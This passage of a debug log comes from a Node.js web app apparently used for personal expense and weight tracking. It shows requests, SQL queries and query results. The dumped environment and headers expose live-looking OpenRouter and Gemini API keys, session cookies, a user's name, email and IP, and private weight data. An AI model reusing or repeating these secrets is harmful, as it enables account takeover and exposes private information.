    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AaJuyKrA9dxFzuOpN8n%2BV4Q%3D%3D.m0LX4dpam4QXhsgsgnd%2BsJNYeL9Y4ygM%2FNvHfuadLFd51jg2OpHj3wFzZIMYcveUGfdwYJlIykDbCjocmC%2Be4OFZqxGqmnOqbpSd1sUax9qUtcxSaDz6XsoiPCaCNja0etzuNVQJDz6T%2Br1tl99eeUQMP9A4WW8bap%2BNvY4q3B8%3D.cIPsyBtQzb8vy8jJDO9YDSKpUSghOQ%2FsrAFXUDw3qUY; your_r_git.sid=s%3AhNs1yiMXhh1ZacQEh_BpZowLC5Diq5oB.LVajFAcIam0FvQcXNsNGPbrKZgHkQzqVRJPSxNUKKn0',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-24T03:46:38.700Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-24T03:46:38.700Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-24T03:46:38.701Z server-connect:app Executing action step identify
2025-12-24T03:46:38.701Z server-connect:app options: { provider: 'security' }
2025-12-24T03:46:38.701Z server-connect:output identity: 1
2025-12-24T03:46:38.701Z server-connect:app Executing action step restrict
2025-12-24T03:46:38.701Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T03:46:38.701Z server-connect:app Executing action step identify
2025-12-24T03:46:38.701Z server-connect:app options: { provider: 'security' }
2025-12-24T03:46:38.701Z server-connect:output identity: 1
2025-12-24T03:46:38.701Z server-connect:app Executing action step restrict
2025-12-24T03:46:38.701Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T03:46:38.702Z server-connect:output restrict: undefined
2025-12-24T03:46:38.702Z server-connect:app Executing action step select
2025-12-24T03:46:38.702Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-24T03:46:38.703Z server-connect:output restrict: undefined
2025-12-24T03:46:38.703Z server-connect:app Executing action step single
2025-12-24T03:46:38.703Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-24T03:46:38.707Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-24T03:46:38.708Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-24T03:47:01.511Z server-connect:router Serving templateView /weight-trackor
2025-12-24T03:47:01.512Z server-connect:app Executing action step identify
2025-12-24T03:47:01.512Z server-connect:app options: { provider: 'security' }
2025-12-24T03:47:01.512Z server-connect:output identity: 1
2025-12-24T03:47:01.512Z server-connect:app Executing action step restrict
2025-12-24T03:47:01.512Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T03:47:01.513Z server-connect:output restrict: undefined
2025-12-24T03:47:01.513Z server-connect:router Render template weight-trackor
2025-12-24T03:47:01.513Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AaJuyKrA9dxFzuOpN8n%2BV4Q%3D%3D.m0LX4dpam4QXhsgsgnd%2BsJNYeL9Y4ygM%2FNvHfuadLFd51jg2OpHj3wFzZIMYcveUGfdwYJlIykDbCjocmC%2Be4OFZqxGqmnOqbpSd1sUax9qUtcxSaDz6XsoiPCaCNja0etzuNVQJDz6T%2Br1tl99eeUQMP9A4WW8bap%2BNvY4q3B8%3D.cIPsyBtQzb8vy8jJDO9YDSKpUSghOQ%2FsrAFXUDw3qUY; your_r_git.sid=s%3AhNs1yiMXhh1ZacQEh_BpZowLC5Diq5oB.LVajFAcIam0FvQcXNsNGPbrKZgHkQzqVRJPSxNUKKn0',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-24T03:50:56.474Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/weight-trackor',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/weight-trackor',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AaJuyKrA9dxFzuOpN8n%2BV4Q%3D%3D.m0LX4dpam4QXhsgsgnd%2BsJNYeL9Y4ygM%2FNvHfuadLFd51jg2OpHj3wFzZIMYcveUGfdwYJlIykDbCjocmC%2Be4OFZqxGqmnOqbpSd1sUax9qUtcxSaDz6XsoiPCaCNja0etzuNVQJDz6T%2Br1tl99eeUQMP9A4WW8bap%2BNvY4q3B8%3D.cIPsyBtQzb8vy8jJDO9YDSKpUSghOQ%2FsrAFXUDw3qUY; your_r_git.sid=s%3AhNs1yiMXhh1ZacQEh_BpZowLC5Diq5oB.LVajFAcIam0FvQcXNsNGPbrKZgHkQzqVRJPSxNUKKn0',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-24T03:47:01.758Z server-connect:router Serving serverConnect /api/health/get-weight-log
2025-12-24T03:47:01.759Z server-connect:app Executing action step identify
2025-12-24T03:47:01.759Z server-connect:app options: { provider: 'security' }
2025-12-24T03:47:01.759Z server-connect:output identity: 1
2025-12-24T03:47:01.759Z server-connect:app Executing action step restrict
2025-12-24T03:47:01.759Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T03:47:01.760Z server-connect:output restrict: undefined
2025-12-24T03:47:01.760Z server-connect:app Executing action step custom
2025-12-24T03:47:01.760Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT DATE(`date`) AS date, `weight`\n' +
      'FROM `health_weight_trackor`\n' +
      'ORDER BY `date` DESC\n' +
      'LIMIT 30;',
    params: []
  }
}
2025-12-24T03:47:01.762Z server-connect:output list: [
  { date: 2025-12-21T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-20T18:30:00.000Z, weight: '69.80' },
  { date: 2025-12-19T18:30:00.000Z, weight: '69.95' },
  { date: 2025-12-18T18:30:00.000Z, weight: '70.50' },
  { date: 2025-12-17T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-16T18:30:00.000Z, weight: '70.15' },
  { date: 2025-12-15T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-11T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-09T18:30:00.000Z, weight: '70.95' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-05T18:30:00.000Z, weight: '72.40' },
  { date: 2025-12-04T18:30:00.000Z, weight: '71.20' },
  { date: 2025-12-03T18:30:00.000Z, weight: '71.40' },
  { date: 2025-12-02T18:30:00.000Z, weight: '70.80' },
  { date: 2025-12-01T18:30:00.000Z, weight: '71.40' },
  { date: 2025-11-30T18:30:00.000Z, weight: '72.40' },
  { date: 2025-11-28T18:30:00.000Z, weight: '71.80' }
]
2025-12-24T03:47:08.466Z server-connect:router Serving serverConnect /api/health/manage-weight
2025-12-24T03:47:08.466Z server-connect:app Executing action step identify
2025-12-24T03:47:08.466Z server-connect:app options: { provider: 'security' }
2025-12-24T03:47:08.467Z server-connect:output identity: 1
2025-12-24T03:47:08.467Z server-connect:app Executing action step restrict
2025-12-24T03:47:08.467Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T03:47:08.467Z server-connect:output restrict: undefined
2025-12-24T03:47:08.467Z server-connect:app Executing action step insert
2025-12-24T03:47:08.467Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object], [Object], [Object] ],
    table: 'health_weight_trackor',
    query: 'insert into `health_weight_trackor` (`created_by`, `created_on`, `date`, `weight`) values (?, ?, ?, ?)',
    params: [ [Object], [Object], [Object], [Object] ]
  }
}
2025-12-24T03:47:08.468Z server-connect:output weight_log: { affected: 1, identity: 19 }
2025-12-24T03:47:08.707Z server-connect:router Serving templateView /weight-trackor
2025-12-24T03:47:08.708Z server-connect:app Executing action step identify
2025-12-24T03:47:08.708Z server-connect:app options: { provider: 'security' }
2025-12-24T03:47:08.708Z server-connect:output identity: 1
2025-12-24T03:47:08.708Z server-connect:app Executing action step restrict
2025-12-24T03:47:08.708Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T03:47:08.709Z server-connect:router Serving serverConnect /api/health/get-weight-log
2025-12-24T03:47:08.709Z server-connect:output restrict: undefined
2025-12-24T03:47:08.709Z server-connect:router Render template layouts/main
2025-12-24T03:47:08.709Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AaJuyKrA9dxFzuOpN8n%2BV4Q%3D%3D.m0LX4dpam4QXhsgsgnd%2BsJNYeL9Y4ygM%2FNvHfuadLFd51jg2OpHj3wFzZIMYcveUGfdwYJlIykDbCjocmC%2Be4OFZqxGqmnOqbpSd1sUax9qUtcxSaDz6XsoiPCaCNja0etzuNVQJDz6T%2Br1tl99eeUQMP9A4WW8bap%2BNvY4q3B8%3D.cIPsyBtQzb8vy8jJDO9YDSKpUSghOQ%2FsrAFXUDw3qUY; your_r_git.sid=s%3AhNs1yiMXhh1ZacQEh_BpZowLC5Diq5oB.LVajFAcIam0FvQcXNsNGPbrKZgHkQzqVRJPSxNUKKn0',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-24T03:50:56.474Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/weight-trackor',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/weight-trackor',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AaJuyKrA9dxFzuOpN8n%2BV4Q%3D%3D.m0LX4dpam4QXhsgsgnd%2BsJNYeL9Y4ygM%2FNvHfuadLFd51jg2OpHj3wFzZIMYcveUGfdwYJlIykDbCjocmC%2Be4OFZqxGqmnOqbpSd1sUax9qUtcxSaDz6XsoiPCaCNja0etzuNVQJDz6T%2Br1tl99eeUQMP9A4WW8bap%2BNvY4q3B8%3D.cIPsyBtQzb8vy8jJDO9YDSKpUSghOQ%2FsrAFXUDw3qUY; your_r_git.sid=s%3AhNs1yiMXhh1ZacQEh_BpZowLC5Diq5oB.LVajFAcIam0FvQcXNsNGPbrKZgHkQzqVRJPSxNUKKn0',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/weight-trackor'
}
2025-12-24T03:47:08.713Z server-connect:app Executing action step identify
2025-12-24T03:47:08.713Z server-connect:app options: { provider: 'security' }
2025-12-24T03:47:08.713Z server-connect:output identity: 1
2025-12-24T03:47:08.713Z server-connect:app Executing action step restrict
2025-12-24T03:47:08.713Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T03:47:08.714Z server-connect:output restrict: undefined
2025-12-24T03:47:08.714Z server-connect:app Executing action step custom
2025-12-24T03:47:08.714Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT DATE(`date`) AS date, `weight`\n' +
      'FROM `health_weight_trackor`\n' +
      'ORDER BY `date` DESC\n' +
      'LIMIT 30;',
    params: []
  }
}
2025-12-24T03:47:08.715Z server-connect:output list: [
  { date: 2025-12-23T18:30:00.000Z, weight: '69.70' },
  { date: 2025-12-21T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-20T18:30:00.000Z, weight: '69.80' },
  { date: 2025-12-19T18:30:00.000Z, weight: '69.95' },
  { date: 2025-12-18T18:30:00.000Z, weight: '70.50' },
  { date: 2025-12-17T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-16T18:30:00.000Z, weight: '70.15' },
  { date: 2025-12-15T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-11T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-09T18:30:00.000Z, weight: '70.95' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
